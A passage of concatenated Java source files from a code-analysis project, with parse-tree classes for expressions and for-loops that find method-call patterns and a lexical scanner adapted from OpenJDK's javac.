IfElseType("IfElse"),
IfBranchType("IfBranch"),
FunctionDeclareType("FunctionDeclare"),
FunctionCallType("FunctionCall");
public String name=null;
TreeType(String _name){
name=_name;
}
@Override
public String toString(){
return name;
}
}
| Java |
package detect.parse.tree;
import java.util.*;
import detect.parse.tree.token.PositionString;
import detect.parse.tree.token.TokenList;
public class ExpressionFactory {
// public static final int RAW=0;
// public static final int PLAIN=1;
// public static final int FUN_CALL=2;
// public static final int IF_ELSE=3;
// public static final int IF=4;
// public static final int ELSE=5;
// public static final int WHILE=6;
// public static final int FOR=7;
// public static final int BLOCK=8;
public static String IF_STR="if";
public static String ELSE_STR="else";
public static String WHILE_STR="while";
public static String FOR_STR="for";
public static Expression expInstance=new Expression();
public static ForExpression forExpInstance=new ForExpression();
public static SwitchCaseExpression switchCaseExpInstance=new SwitchCaseExpression();
public static CaseExpression caseExpInstance=new CaseExpression();
public static ConditionExpression condExpInstance=new ConditionExpression();
public static FunctionCallExpression funCallExpInstance=new FunctionCallExpression();
public static IfBranchExpression ifBranchExpInstance=new IfBranchExpression();
public static IfElseExpression ifelseExpInstance=new IfElseExpression();
public static DoWhileExpression doWhileExpInstance=new DoWhileExpression();
public static WhileExpression whileExpInstance=new WhileExpression();
public static BlockExpression blockExpInstance=new BlockExpression();
public static int tempReturnCount=0;
//public int VAR_
public static List<Expression> parseBlock(PositionString block){
return null;
}
public static boolean isStartsWithReservedWord(String str){
if(str.startsWith(IF_STR) ||
str.startsWith(ELSE_STR) ||
str.startsWith(WHILE_STR) ||
str.startsWith(FOR_STR)){
return true;
}
return false;
}
public static PositionString getNewTempReturnVariable(){
String temp="tempReturnVar"+tempReturnCount;
tempReturnCount++;
return new PositionString(temp,-1);
}
}
| Java |
package detect.parse.tree;
import java.util.ArrayList;
import java.util.List;
import detect.Log;
import detect.parse.pattern.MethodsPattern;
import detect.parse.tree.token.TokenList;
import detect.parse.tree.token.RawTokenType;
public class ForExpression extends Expression {
Expression initExp=null;
ConditionExpression condExp=null;
Expression iterExp=null;
BlockExpression body=null;
public TreeType getType(){
return TreeType.ForType;
}
public ForExpression(){
}
@Override
public List<FunctionCallExpression> getSubFunctionCallExpressionList(){
List<FunctionCallExpression> subFunCallList=new ArrayList<FunctionCallExpression>();
subFunCallList.addAll(iterExp.getSubFunctionCallExpressionList());
return subFunCallList;
}
@Override
public void findInnerPatterns(){
initExp.findInnerPatterns();
condExp.findInnerPatterns();
iterExp.findInnerPatterns();
body.findInnerPatterns();
patterns.addAll(initExp.patterns);
patterns.addAll(condExp.patterns);
patterns.addAll(iterExp.patterns);
patterns.addAll(body.patterns);
for(Expression subIterExp: iterExp.getSubFunctionCallExpressionList()){
if(subIterExp.getType()==TreeType.FunctionCallType){
FunctionCallManager.putFunction(subIterExp);
//iter-iter
patterns.add(new MethodsPattern((FunctionCallExpression)subIterExp,(FunctionCallExpression)subIterExp,MethodsPattern.ITERATE_CALL));
for(Expression subBodyExp: body.getSubFunctionCallExpressionList()){
if(subBodyExp.getType()==TreeType.FunctionCallType){
FunctionCallManager.putFunction(subBodyExp);
patterns.add(new MethodsPattern((FunctionCallExpression)subIterExp,(FunctionCallExpression)subBodyExp,MethodsPattern.SEQUENCE_CALL));
}
}
}
}
//body-body
for(Expression subBodyExp: body.expList){
if(subBodyExp.getType()==TreeType.FunctionCallType){
patterns.add(new MethodsPattern((FunctionCallExpression)subBodyExp,(FunctionCallExpression)subBodyExp,MethodsPattern.ITERATE_CALL));
}
}
}
public ForExpression(TokenList _tokenList,Expression _initExp,ConditionExpression _condExp,Expression _iterExp,BlockExpression _body){
tokenList=_tokenList;
initExp=_initExp;
condExp=_condExp;
iterExp=_iterExp;
body=_body;
}
@Override
public Expression getExpression(TokenList _tokenList){
Log.incIndence();
Log.printTree(this.getType().toString());
tokenList=_tokenList;
int semiTokenIndex=tokenList.indexOf(RawTokenType.SEMI);
TokenList initTokenList=tokenList.subList(2, semiTokenIndex);
int preLastPos=semiTokenIndex;
semiTokenIndex=tokenList.indexOf(RawTokenType.SEMI,semiTokenIndex+1);
TokenList condTokenList=tokenList.subList(preLastPos+1, semiTokenIndex);
preLastPos=semiTokenIndex;
//semiTokenIndex=tokenList.indexOf(RawTokenType.RightBraceType,semiTokenIndex+1);
semiTokenIndex=tokenList.findMatchRightBrace(1, RawTokenType.LPAREN, RawTokenType.RPAREN);
TokenList iterTokenList=tokenList.subList(preLastPos+1, semiTokenIndex);
preLastPos=semiTokenIndex;
TokenList bodyTokenList=tokenList.subList(preLastPos+1);
Expression _initExp=ExpressionFactory.expInstance.getExpression(initTokenList);
Expression _condExp=ExpressionFactory.condExpInstance.getExpression(condTokenList);
Expression _iterExp=ExpressionFactory.expInstance.getExpression(iterTokenList);
Expression _body=ExpressionFactory.blockExpInstance.getExpression(bodyTokenList);
Log.decIndence();
return new ForExpression(
_tokenList,
_initExp,
(ConditionExpression)_condExp,
_iterExp,
(BlockExpression)_body);
}
}
| Java |
/*
* Copyright (c) 1999, 2008, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package detect.parse.tree.token;
import java.nio.*;
//import javax.lang.model.element.Name;
//import com.sun.tools.javac.code.Source;
//import com.sun.tools.javac.file.JavacFileManager;
//import com.sun.tools.javac.util.*;
import static detect.parse.tree.token.TokenType.*;
import static detect.parse.tree.token.LayoutCharacters.*;
//import static com.sun.tools.javac.parser.Token.*;
//import static com.sun.tools.javac.util.LayoutCharacters.*;
/** The lexical analyzer maps an input stream consisting of
* ASCII characters and Unicode escapes into a token sequence.
*
* <p><b>This is NOT part of any supported API.
* If you write code that depends on this, you do so at your own risk.
* This code and its internal interfaces are subject to change or
* deletion without notice.</b>
*/
public class Scanner {
private static boolean scannerDebug = false;
// /** A factory for creating scanners. */
// public static class Factory {
// /** The context key for the scanner factory. */
// public static final Context.Key<Scanner.Factory> scannerFactoryKey =
// new Context.Key<Scanner.Factory>();
//
// /** Get the Factory instance for this context. */
// public static Factory instance(Context context) {
// Factory instance = context.get(scannerFactoryKey);
// if (instance == null)
// instance = new Factory(context);
// return instance;
// }
//
// final Log log;
// final Names names;
// final Source source;
// final Keywords keywords;
//
// /** Create a new scanner factory. */
// protected Factory(Context context) {
// context.put(scannerFactoryKey, this);
// this.log = Log.instance(context);
// this.names = Names.instance(context);
// this.source = Source.instance(context);
// this.keywords = Keywords.instance(context);
// }
//
// public Scanner newScanner(CharSequence input) {
// if (input instanceof CharBuffer) {
// return new Scanner(this, (CharBuffer)input);
// } else {
// char[] array = input.toString().toCharArray();
// return newScanner(array, array.length);
// }
// }
//
// public Scanner newScanner(char[] input, int inputLength) {
// return new Scanner(this, input, inputLength);
// }
// }
/* Output variables; set by nextToken():
*/
/** The token, set by nextToken().
*/
private TokenType token;
/** Allow hex floating-point literals.
*/
private boolean allowHexFloats;
/** Allow binary literals.
*/
private boolean allowBinaryLiterals;
/** Allow underscores in literals.
*/
private boolean allowUnderscoresInLiterals;
/** Allow exotic identifiers.
*/
private boolean allowExoticIdentifiers;
/** The source language setting.
*/
//private Source source;
/** The token's position, 0-based offset from beginning of text.
*/
private int pos;
/** Character position just after the last character of the token.
*/
private int endPos;
/** The last character position of the previous token.
*/
private int prevEndPos;
/** The position where a lexical error occurred;
*/
//private int errPos = Position.NOPOS;
private int errPos = -1;
/** The name of an identifier or token:
*/
private Name name;
/** The radix of a numeric literal token.
*/
private int radix;
/** Has a @deprecated been encountered in last doc comment?
* this needs to be reset by client.
*/
protected boolean deprecatedFlag = false;
/** A character buffer for literals.
*/
private char[] sbuf = new char[128];
private int sp;
/** The input buffer, index of next chacter to be read,
* index of one past last character in buffer.
*/
private char[] buf;
private int bp;
private int buflen;
private int eofPos;
/** The current character.
*/
private char ch;
/** The buffer index of the last converted unicode character
*/
private int unicodeConversionBp = -1;
/** The log to be used for error reporting.
*/
//private final Log log;
/** The name table. */
private final Names names;
/** The keyword table. */
private final Keywords keywords;
/** Common code for constructors. */
// private Scanner(Factory fac) {
// //log = fac.log;
// names = fac.names;
// keywords = fac.keywords;
// source = fac.source;
// allowBinaryLiterals = source.allowBinaryLiterals();
// allowHexFloats = source.allowHexFloats();
// allowUnderscoresInLiterals = source.allowBinaryLiterals();
// allowExoticIdentifiers = source.allowExoticIdentifiers(); // for invokedynamic
// }
private Scanner() {
//log = fac.log;
names = Names.instance();
keywords = Keywords.instance();
//source = fac.source;
// allowBinaryLiterals = source.allowBinaryLiterals();
// allowHexFloats = source.allowHexFloats();
// allowUnderscoresInLiterals = source.allowBinaryLiterals();
// allowExoticIdentifiers = source.allowExoticIdentifiers(); // for invokedynamic
allowBinaryLiterals = true;
allowHexFloats = true;
allowUnderscoresInLiterals = true;
allowExoticIdentifiers = true;
}
private static final boolean hexFloatsWork = hexFloatsWork();
private static boolean hexFloatsWork() {
try {
Float.valueOf("0x1.0p1");
return true;
} catch (NumberFormatException ex) {
return false;
}
}
/** Create a scanner from the input buffer. buffer must implement
* array() and compact(), and remaining() must be less than limit().
*/
// protected Scanner(Factory fac, CharBuffer buffer) {
// this(fac, JavacFileManager.toArray(buffer), buffer.limit());
// }
/**
* Create a scanner from the input array. This method might
* modify the array. To avoid copying the input array, ensure
* that {@code inputLength < input.length} or
* {@code input[input.length -1]} is a white space character.
*
* @param fac the factory which created this Scanner
* @param input the input, might be modified
* @param inputLength the size of the input.
* Must be positive and less than or equal to input.length.
*/
// protected Scanner(Factory fac, char[] input, int inputLength) {
// this(fac);
// eofPos = inputLength;
// if (inputLength == input.length) {
// if (input.length > 0 && Character.isWhitespace(input[input.length - 1])) {
// inputLength--;
// } else {
// char[] newInput = new char[inputLength + 1];
// System.arraycopy(input, 0, newInput, 0, input.length);
// input = newInput;
// }
// }
// buf = input;
// buflen = inputLength;
// buf[buflen] = EOI;
// bp = -1;
// scanChar();
// }
public Scanner(String input){
this();
this.reset(input);
}
public void reset(String input){
reset(input.toCharArray(),input.length());
}
public void reset(char[] input, int inputLength){
eofPos = inputLength;
if (inputLength == input.length) {
if (input.length > 0 && Character.isWhitespace(input[input.length - 1])) {
inputLength--;
} else {
char[] newInput = new char[inputLength + 1];
System.arraycopy(input, 0, newInput, 0, input.length);
input = newInput;
}
}
buf = input;
buflen = inputLength;
buf[buflen] = EOI;
bp = -1;
scanChar();
}
/** Report an error at the given position using the provided arguments.
*/
private void lexError(int pos, String key, Object... args) {
//log.error(pos, key, args);
token = ERROR;
errPos = pos;
}
/** Report an error at the current token position using the provided
* arguments.
*/
private void lexError(String key, Object... args) {
lexError(pos, key, args);
}
/** Convert an ASCII digit from its base (8, 10, or 16)
* to its value.
*/
private int digit(int base) {
char c = ch;
int result = Character.digit(c, base);
if (result >= 0 && c > 0x7f) {
lexError(pos+1, "illegal.nonascii.digit");
ch = "0123456789abcdef".charAt(result);
}
return result;
}
/** Convert unicode escape; bp points to initial '\' character
* (Spec 3.3).
*/
private void convertUnicode() {
if (ch == '\\' && unicodeConversionBp != bp) {
bp++; ch = buf[bp];
if (ch == 'u') {
do {
bp++; ch = buf[bp];
} while (ch == 'u');
int limit = bp + 3;
if (limit < buflen) {
int d = digit(16);
int code = d;
while (bp < limit && d >= 0) {
bp++; ch = buf[bp];
d = digit(16);
code = (code << 4) + d;
}
if (d >= 0) {
ch = (char)code;
unicodeConversionBp = bp;
return;
}
}
lexError(bp, "illegal.unicode.esc");
} else {
bp--;
ch = '\\';
}
}
}
/** Read next character.
*/
private void scanChar() {
ch = buf[++bp];
if (ch == '\\') {
convertUnicode();
}
}
/** Read next character in comment, skipping over double '\' characters.
*/
private void scanCommentChar() {
scanChar();
if (ch == '\\') {
if (buf[bp+1] == '\\' && unicodeConversionBp != bp) {
bp++;
} else {
convertUnicode();
}
}
}
/** Append a character to sbuf.
*/
private void putChar(char ch) {
if (sp == sbuf.length) {
char[] newsbuf = new char[sbuf.length * 2];
System.arraycopy(sbuf, 0, newsbuf, 0, sbuf.length);
sbuf = newsbuf;
}
sbuf[sp++] = ch;
}
/** For debugging purposes: print character.
*/
private void dch() {
System.err.print(ch); System.out.flush();
}
/** Read next character in character or string literal and copy into sbuf.
*/
private void scanLitChar(boolean forBytecodeName) {
if (ch == '\\') {
if (buf[bp+1] == '\\' && unicodeConversionBp != bp) {
bp++;
putChar('\\');
scanChar();
} else {
scanChar();
switch (ch) {
case '0': case '1': case '2': case '3':
case '4': case '5': case '6': case '7':
char leadch = ch;
int oct = digit(8);
scanChar();
if ('0' <= ch && ch <= '7') {
oct = oct * 8 + digit(8);
scanChar();
if (leadch <= '3' && '0' <= ch && ch <= '7') {
oct = oct * 8 + digit(8);
scanChar();
}
}
putChar((char)oct);
break;
case 'b':
putChar('\b'); scanChar(); break;
case 't':
putChar('\t'); scanChar(); break;
case 'n':
putChar('\n'); scanChar(); break;
case 'f':
putChar('\f'); scanChar(); break;
case 'r':
putChar('\r'); scanChar(); break;
case '\'':
putChar('\''); scanChar(); break;
case '\"':
putChar('\"'); scanChar(); break;
case '\\':
putChar('\\'); scanChar(); break;
case '|': case ',': case '?': case '%':
case '^': case '_': case '{': case '}':
case '!': case '-': case '=':
if (forBytecodeName) {
// Accept escape sequences for dangerous bytecode chars.
// This is illegal in normal Java string or character literals.
// Note that the escape sequence itself is passed through.
putChar('\\'); putChar(ch); scanChar();
} else {
lexError(bp, "illegal.esc.char");
}
break;
default:
lexError(bp, "illegal.esc.char");
}
}
} else if (bp != buflen) {
putChar(ch); scanChar();
}
}
private void scanLitChar() {
scanLitChar(false);
}
/** Read next character in an exotic name #"foo"
*/
private void scanBytecodeNameChar() {
switch (ch) {
// reject any "dangerous" char which is illegal somewhere in the JVM spec
// cf. http://blogs.sun.com/jrose/entry/symbolic_freedom_in_the_vm
case '/': case '.': case ';': // illegal everywhere
case '<': case '>': // illegal in methods, dangerous in classes
case '[': // illegal in classes
lexError(bp, "illegal.bytecode.ident.char", String.valueOf((int)ch));
break;
}
scanLitChar(true);
}
private void scanDigits(int digitRadix) {
char saveCh;
int savePos;
do {
if (ch != '_') {
putChar(ch);
} else {
if (!allowUnderscoresInLiterals) {
//lexError("unsupported.underscore.lit", source.name);
allowUnderscoresInLiterals = true;
}
}
saveCh = ch;
savePos = bp;
scanChar();
} while (digit(digitRadix) >= 0 || ch == '_');
if (saveCh == '_')
lexError(savePos, "illegal.underscore");
}
/** Read fractional part of hexadecimal floating point number.
*/
private void scanHexExponentAndSuffix() {
if (ch == 'p' || ch == 'P') {
putChar(ch);
scanChar();
skipIllegalUnderscores();
if (ch == '+' || ch == '-') {
putChar(ch);
scanChar();
}
skipIllegalUnderscores();
if ('0' <= ch && ch <= '9') {
scanDigits(10);
if (!allowHexFloats) {
//lexError("unsupported.fp.lit", source.name);
allowHexFloats = true;
}
else if (!hexFloatsWork)
lexError("unsupported.cross.fp.lit");
} else
lexError("malformed.fp.lit");
} else {
lexError("malformed.fp.lit");
}
if (ch == 'f' || ch == 'F') {
putChar(ch);
scanChar();
token = FLOATLITERAL;
} else {
if (ch == 'd' || ch == 'D') {
putChar(ch);
scanChar();
}
token = DOUBLELITERAL;
}
}
/** Read fractional part of floating point number.
*/
private void scanFraction() {
skipIllegalUnderscores();
if ('0' <= ch && ch <= '9') {
scanDigits(10);
}
int sp1 = sp;
if (ch == 'e' || ch == 'E') {
putChar(ch);
scanChar();
skipIllegalUnderscores();
if (ch == '+' || ch == '-') {
putChar(ch);
scanChar();
}
skipIllegalUnderscores();
if ('0' <= ch && ch <= '9') {
scanDigits(10);
return;
}
lexError("malformed.fp.lit");
sp = sp1;
}
}
/** Read fractional part and 'd' or 'f' suffix of floating point number.
*/
private void scanFractionAndSuffix() {
this.radix = 10;
scanFraction();
if (ch == 'f' || ch == 'F') {
putChar(ch);
scanChar();
token = FLOATLITERAL;
} else {
if (ch == 'd' || ch == 'D') {
putChar(ch);
scanChar();
}
token = DOUBLELITERAL;
}
}
/** Read fractional part and 'd' or 'f' suffix of floating point number.
*/
private void scanHexFractionAndSuffix(boolean seendigit) {
this.radix = 16;
assert ch == '.';
putChar(ch);
scanChar();
skipIllegalUnderscores();
if (digit(16) >= 0) {
seendigit = true;
scanDigits(16);
}
if (!seendigit)
lexError("invalid.hex.number");
else
scanHexExponentAndSuffix();
}
private void skipIllegalUnderscores() {
if (ch == '_') {
lexError(bp, "illegal.underscore");
while (ch == '_')
scanChar();
}
}
/** Read a number.
* @param radix The radix of the number; one of 2, j8, 10, 16.
*/
private void scanNumber(int radix) {
this.radix = radix;
// for octal, allow base-10 digit in case it's a float literal
int digitRadix = (radix == 8 ? 10 : radix);
boolean seendigit = false;
if (digit(digitRadix) >= 0) {
seendigit = true;
scanDigits(digitRadix);
}
if (radix == 16 && ch == '.') {
scanHexFractionAndSuffix(seendigit);
} else if (seendigit && radix == 16 && (ch == 'p' || ch == 'P')) {
scanHexExponentAndSuffix();
} else if (digitRadix == 10 && ch == '.') {
putChar(ch);
scanChar();
scanFractionAndSuffix();
} else if (digitRadix == 10 &&
(ch == 'e' || ch == 'E' ||
ch == 'f' || ch == 'F' ||
ch == 'd' || ch == 'D')) {
scanFractionAndSuffix();
} else {
if (ch == 'l' || ch == 'L') {
scanChar();
token = LONGLITERAL;
} else {
token = INTLITERAL;
}
}
}
/** Read an identifier.
*/
private void scanIdent() {
boolean isJavaIdentifierPart;
char high;
do {
if (sp == sbuf.length) putChar(ch); else sbuf[sp++] = ch;
// optimization, was: putChar(ch);
scanChar();
switch (ch) {
case 'A': case 'B': case 'C': case 'D': case 'E':
case 'F': case 'G': case 'H': case 'I': case 'J':
case 'K': case 'L': case 'M': case 'N': case 'O':
case 'P': case 'Q': case 'R': case 'S': case 'T':
case 'U': case 'V': case 'W': case 'X': case 'Y':
case 'Z':
case 'a': case 'b': case 'c': case 'd': case 'e':
case 'f': case 'g': case 'h': case 'i': case 'j':
case 'k': case 'l': case 'm': case 'n': case 'o':
case 'p': case 'q': case 'r': case 's': case 't':
case 'u': case 'v': case 'w': case 'x': case 'y':
case 'z':
case '$': case '_':
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
case '\u0000': case '\u0001': case '\u0002': case '\u0003':
case '\u0004': case '\u0005': case '\u0006': case '\u0007':
case '\u0008': case '\u000E': case '\u000F': case '\u0010':
case '\u0011': case '\u0012': case '\u0013': case '\u0014':
case '\u0015': case '\u0016': case '\u0017':
case '\u0018': case '\u0019': case '\u001B':
case '\u007F':
break;
case '\u001A': // EOI is also a legal identifier part
if (bp >= buflen) {
name = names.fromChars(sbuf, 0, sp);
token = keywords.key(name);
return;
}
break;
default:
if (ch < '\u0080') {
// all ASCII range chars already handled, above
isJavaIdentifierPart = false;
} else {
high = scanSurrogates();
if (high != 0) {
if (sp == sbuf.length) {
putChar(high);
} else {
sbuf[sp++] = high;
}
isJavaIdentifierPart = Character.isJavaIdentifierPart(
Character.toCodePoint(high, ch));
} else {
isJavaIdentifierPart = Character.isJavaIdentifierPart(ch);
}
}
if (!isJavaIdentifierPart) {
name = names.fromChars(sbuf, 0, sp);
token = keywords.key(name);
return;
}
}
} while (true);
}
/** Are surrogates supported?
*/
final static boolean surrogatesSupported = surrogatesSupported();
private static boolean surrogatesSupported() {
try {
Character.isHighSurrogate('a');
return true;
} catch (NoSuchMethodError ex) {
return false;
}
}
/** Scan surrogate pairs. If 'ch' is a high surrogate and
* the next character is a low surrogate, then put the low
* surrogate in 'ch', and return the high surrogate.
* otherwise, just return 0.
*/
private char scanSurrogates() {
if (surrogatesSupported && Character.isHighSurrogate(ch)) {
char high = ch;
scanChar();
if (Character.isLowSurrogate(ch)) {
return high;
}
ch = high;
}
return 0;
}
/** Return true if ch can be part of an operator.
*/
private boolean isSpecial(char ch) {
switch (ch) {
case '!': case '%': case '&': case '*': case '?':
case '+': case '-': case ':': case '<': case '=':
case '>': case '^': case '|': case '~':
case '@':
return true;
default:
return false;
}
}
/** Read longest possible sequence of special characters and convert
* to token.
*/
private void scanOperator() {
while (true) {
putChar(ch);
Name newname = names.fromChars(sbuf, 0, sp);
if (keywords.key(newname) == IDENTIFIER) {
sp--;
break;
}
name = newname;
token = keywords.key(newname);
scanChar();
if (!isSpecial(ch)) break;
}
}
/**
* Scan a documention comment; determine if a deprecated tag is present.
* Called once the initial /, * have been skipped, positioned at the second *
* (which is treated as the beginning of the first line).
* Stops positioned at the closing '/'.
*/
@SuppressWarnings("fallthrough")
private void scanDocComment() {
boolean deprecatedPrefix = false;
forEachLine:
while (bp < buflen) {
// Skip optional WhiteSpace at beginning of line
while (bp < buflen && (ch == ' ' || ch == '\t' || ch == FF)) {
scanCommentChar();
}
// Skip optional consecutive Stars
while (bp < buflen && ch == '*') {
scanCommentChar();
if (ch == '/') {
return;
}
}
// Skip optional WhiteSpace after Stars
while (bp < buflen && (ch == ' ' || ch == '\t' || ch == FF)) {
scanCommentChar();
}
deprecatedPrefix = false;
// At beginning of line in the JavaDoc sense.
if (bp < buflen && ch == '@' && !deprecatedFlag) {
scanCommentChar();
if (bp < buflen && ch == 'd') {
scanCommentChar();
if (bp < buflen && ch == 'e') {
scanCommentChar();
if (bp < buflen && ch == 'p') {
scanCommentChar();
if (bp < buflen && ch == 'r') {
scanCommentChar();
if (bp < buflen && ch == 'e') {
scanCommentChar();
if (bp < buflen && ch == 'c') {
scanCommentChar();
if (bp < buflen && ch == 'a') {
scanCommentChar();
if (bp < buflen && ch == 't') {
scanCommentChar();
if (bp < buflen && ch == 'e') {
scanCommentChar();
if (bp < buflen && ch == 'd') {
deprecatedPrefix = true;
scanCommentChar();
}}}}}}}}}}}
if (deprecatedPrefix && bp < buflen) {
if (Character.isWhitespace(ch)) {
deprecatedFlag = true;
} else if (ch == '*') {
scanCommentChar();
if (ch == '/') {
deprecatedFlag = true;
return;
}
}
}
// Skip rest of line
while (bp < buflen) {
switch (ch) {
case '*':
scanCommentChar();
if (ch == '/') {
return;
}
break;
case CR: // (Spec 3.4)
scanCommentChar();
if (ch != LF) {
continue forEachLine;
}
/* fall through to LF case */
case LF: // (Spec 3.4)
scanCommentChar();
continue forEachLine;
default:
scanCommentChar();
}
} // rest of line
} // forEachLine
return;
}
/** The value of a literal token, recorded as a string.
* For integers, leading 0x and 'l' suffixes are suppressed.
*/
public String stringVal() {
return new String(sbuf, 0, sp);
}
/** Read token.
*/
public void nextToken() {
try {
prevEndPos = endPos;
sp = 0;
while (true) {
pos = bp;
switch (ch) {
case ' ': // (Spec 3.6)
case '\t': // (Spec 3.6)
case FF: // (Spec 3.6)
do {
scanChar();
} while (ch == ' ' || ch == '\t' || ch == FF);
endPos = bp;
processWhiteSpace();
break;
case LF: // (Spec 3.4)
scanChar();
endPos = bp;
processLineTerminator();
break;
case CR: // (Spec 3.4)
scanChar();
if (ch == LF) {
scanChar();
}
endPos = bp;
processLineTerminator();
break;
case 'A': case 'B': case 'C': case 'D': case 'E':
case 'F': case 'G': case 'H': case 'I': case 'J':
case 'K': case 'L': case 'M': case 'N': case 'O':
case 'P': case 'Q': case 'R': case 'S': case 'T':
case 'U': case 'V': case 'W': case 'X': case 'Y':
case 'Z':
case 'a': case 'b': case 'c': case 'd': case 'e':
case 'f': case 'g': case 'h': case 'i': case 'j':
case 'k': case 'l': case 'm': case 'n': case 'o':
case 'p': case 'q': case 'r': case 's': case 't':
case 'u': case 'v': case 'w': case 'x': case 'y':
case 'z':
case '$': case '_':
scanIdent();
return;
case '0':
scanChar();
if (ch == 'x' || ch == 'X') {
scanChar();
skipIllegalUnderscores();
if (ch == '.') {
scanHexFractionAndSuffix(false);
} else if (digit(16) < 0) {
lexError("invalid.hex.number");
} else {
scanNumber(16);
}
} else if (ch == 'b' || ch == 'B') {
if (!allowBinaryLiterals) {
//lexError("unsupported.binary.lit", source.name);
allowBinaryLiterals = true;
}
scanChar();
skipIllegalUnderscores();
if (digit(2) < 0) {
lexError("invalid.binary.number");
} else {
scanNumber(2);
}
} else {
putChar('0');
if (ch == '_') {
int savePos = bp;
do {
scanChar();
} while (ch == '_');
if (digit(10) < 0) {
lexError(savePos, "illegal.underscore");
}
}
scanNumber(8);
}
return;
case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
scanNumber(10);
return;
case '.':
scanChar();
if ('0' <= ch && ch <= '9') {
putChar('.');
scanFractionAndSuffix();
} else if (ch == '.') {
putChar('.'); putChar('.');
scanChar();
if (ch == '.') {
scanChar();
putChar('.');
token = ELLIPSIS;
} else {
lexError("malformed.fp.lit");
}
} else {
token = DOT;
}
return;
case ',':
scanChar(); token = COMMA; return;
case ';':
scanChar(); token = SEMI; return;
case '(':
scanChar(); token = LPAREN; return;
case ')':
scanChar(); token = RPAREN; return;
case '[':
scanChar(); token = LBRACKET; return;
case ']':
scanChar(); token = RBRACKET; return;
case '{':
scanChar(); token = LBRACE; return;
case '}':
scanChar(); token = RBRACE; return;
case '/':
scanChar();
if (ch == '/') {
do {
scanCommentChar();
} while (ch != CR && ch != LF && bp < buflen);
if (bp < buflen) {
endPos = bp;
processComment(CommentStyle.LINE);
}
break;
} else if (ch == '*') {
scanChar();
CommentStyle style;
if (ch == '*') {
style = CommentStyle.JAVADOC;
scanDocComment();
} else {
style = CommentStyle.BLOCK;
while (bp < buflen) {
if (ch == '*') {
scanChar();
if (ch == '/') break;
} else {
scanCommentChar();
}
}
}
if (ch == '/') {
scanChar();
endPos = bp;
processComment(style);
break;
} else {
lexError("unclosed.comment");
return;
}
} else if (ch == '=') {
name = names.slashequals;
token = SLASHEQ;
scanChar();
} else {
name = names.slash;
token = SLASH;
}
return;
case '\'':
scanChar();
if (ch == '\'') {
lexError("empty.char.lit");
} else {
if (ch == CR || ch == LF)
lexError(pos, "illegal.line.end.in.char.lit");
scanLitChar();
if (ch == '\'') {
scanChar();
token = CHARLITERAL;
} else {
lexError(pos, "unclosed.char.lit");
}
}
return;
case '\"':
scanChar();
while (ch != '\"' && ch != CR && ch != LF && bp < buflen)
scanLitChar();
if (ch == '\"') {
token = STRINGLITERAL;
scanChar();
} else {
lexError(pos, "unclosed.str.lit");
}
return;
case '#':
scanChar();
if (ch == '\"') {
if (!allowExoticIdentifiers) {
//lexError("unsupported.exotic.id", source.name);
allowExoticIdentifiers = true;
}
scanChar();
if (ch == '\"')
lexError(pos, "empty.bytecode.ident");
while (ch != '\"' && ch != CR && ch != LF && bp < buflen) {
scanBytecodeNameChar();
}
if (ch == '\"') {
name = names.fromChars(sbuf, 0, sp);
token = IDENTIFIER; // even if #"int" or #"do"
scanChar();
} else {
lexError(pos, "unclosed.bytecode.ident");
}
} else {
lexError("illegal.char", String.valueOf((int)'#'));
}
return;
default:
if (isSpecial(ch)) {
scanOperator();
} else {
boolean isJavaIdentifierStart;
if (ch < '\u0080') {
// all ASCII range chars already handled, above
isJavaIdentifierStart = false;
} else {
char high = scanSurrogates();
if (high != 0) {
if (sp == sbuf.length) {
putChar(high);
} else {
sbuf[sp++] = high;
}
isJavaIdentifierStart = Character.isJavaIdentifierStart(
Character.toCodePoint(high, ch));
} else {
isJavaIdentifierStart = Character.isJavaIdentifierStart(ch);
}
}
if (isJavaIdentifierStart) {
scanIdent();
} else if (bp == buflen || ch == EOI && bp+1 == buflen) { // JLS 3.5
token = EOF;
pos = bp = eofPos;
} else {
lexError("illegal.char", String.valueOf((int)ch));
scanChar();
}
}
return;
}
}
} finally {
endPos = bp;
if (scannerDebug)
System.out.println("nextToken(" + pos
+ "," + endPos + ")=|" +
new String(getRawCharacters(pos, endPos))
+ "|");
}
}
public String getRawString(){
return new String(getRawCharacters(pos, endPos));
}
/** Return the current token, set by nextToken().
*/
public TokenType token() {
return token;
}
/** Sets the current token.
*/
public void token(TokenType token) {
this.token = token;
}
/** Return the current token's position: a 0-based
* offset from beginning of the raw input stream
* (before unicode translation)
*/
public int pos() {
return pos;
}
/** Return the last character position of the current token.
*/
public int endPos() {
return endPos;
}
/** Return the last character position of the previous token.
*/
public int prevEndPos() {
return prevEndPos;
}
/** Return the position where a lexical error occurred;
*/
public int errPos() {
return errPos;
}
/** Set the position where a lexical error occurred;
*/
public void errPos(int pos) {
errPos = pos;
}
/** Return the name of an identifier or token for the current token.
*/
public Name name() {
return name;
}
/** Return the radix of a numeric literal token.
*/
public int radix() {
return radix;
}
/** Has a @deprecated been encountered in last doc comment?
* This needs to be reset by client with resetDeprecatedFlag.
*/
public boolean deprecatedFlag() {
return deprecatedFlag;
}
public void resetDeprecatedFlag() {
deprecatedFlag = false;
}
/**
* Returns the documentation string of the current token.
*/
public String docComment() {
return null;
}
/**
* Returns a copy of the input buffer, up to its inputLength.
* Unicode escape sequences are not translated.
*/
public char[] getRawCharacters() {
char[] chars = new char[buflen];
System.arraycopy(buf, 0, chars, 0, buflen);
return chars;
}
/**
* Returns a copy of a character array subset of the input buffer.
* The returned array begins at the <code>beginIndex</code> and
* extends to the character at index <code>endIndex - 1</code>.
* Thus the length of the substring is <code>endIndex-beginIndex</code>.
* This behavior is like
